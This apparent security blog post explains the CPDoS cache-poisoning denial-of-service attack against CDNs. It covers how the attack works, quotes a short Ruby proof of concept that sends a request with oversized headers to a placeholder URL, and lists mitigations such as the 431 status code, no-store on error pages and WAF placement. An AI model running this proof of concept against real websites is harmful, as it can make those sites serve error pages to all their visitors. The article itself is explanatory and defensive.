CPDoS in a nutshell
Recently, a team of cybersecurity researchers from Cologne University of Applied Sciences (Hoai Viet Nguyen and Luigi Lo Iacono) has disclosed a new cache poisoning attack against CDN systems that could be used to force a website into delivering error pages to its visitors instead of legitimate content or resources.
What is a CDN?
CDN stands for Content Distribution Network.
Is a distributed group of servers placed between the origin server of a website and its visitors to optimize the performance of the website: caching static files (HTML pages, JavaScript files, stylesheets, images, and videos) from the origin server it can delivers them to visitors more quickly using the most geographically close server.
The issue could affect sites running behind reverse proxy cache systems (like Varnish) and other widely-used CDN services, including Amazon CloudFront, Cloudflare, Fastly, Akamai, and CDN77.
How it works?
This is a very simple attack, but with extremely serious consequences.
In a nutshell:
- The attacker requests a resource from the website with a malformed header: the request transits through the CDN.
- The CDN does not have a cached copy of the resource, so it requests it from the original webserver that returns an error due the malformed header
- The CDN caches the error page instead the correct resource and serve it to the users: anyone who visits the website will see the error in the CDN cache (until the next cache expiration).
Researchers also published a video demonstrates the attack against an example web application hosted on Cloudfront:
and a simple PoC written in Ruby:
require 'net/http'
uri = URI("https://example.org/index.html")
req = Net::HTTP::Get.new(uri)
num = 200
i = 0
# Setting malicious and irrelevant headers fields for creating an oversized header
until i > num do
req["X-Oversized-Header-#{i}"] = "Big-Value-0000000000000000000000000000000000"
i +=1;
end
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') {|http|
http.request(req)
}
For more details on this attack, you can refer to the research paper: Your Cache Has Fallen: Cache-Poisoned Denial-of-Service Attack
Is there some mitigations?
According to the research, the main issue exploited by this attack lies in the fact that a vulnerable cache wrongly stores responses containing error codes such as 400 Bad Request by default, and this is not allowed according to the HTTP standard.
Content providers must also use the appropriate status code for the corresponding error case. For instance, 400 Bad Request which is used by many HTTP implementations for declaring an oversized header is not the suitable status code. IIS even uses 404 Not Found when a specific header is exceeded. The right error code for an oversized request header is 431 Request Header Fields Too Large. According to our analysis, this error message is not cached by any web caching systems.
Some mitigations can be also acted with simple configuration changes:
Another effective countermeasure against HHO and HMC CPDoS attacks is to exclude error pages from caching. One approach is to add the header Cache-Control: no-store to each error page. The other option is to disable error page caching in the cache configuration. CDNs like CloudFront or Akamai provide configuration settings to do so.
Finally, a Web Application Firewall can be used to block attacks:
A Web Application Firewalls (WAF) can also be deployed to mitigate CPDoS attacks. However, WAFs must be placed in front of the cache in order to block malicious content before they reach the origin server. WAFs that are placed in front of the origin server can be exploited to provoke error pages that get cached either.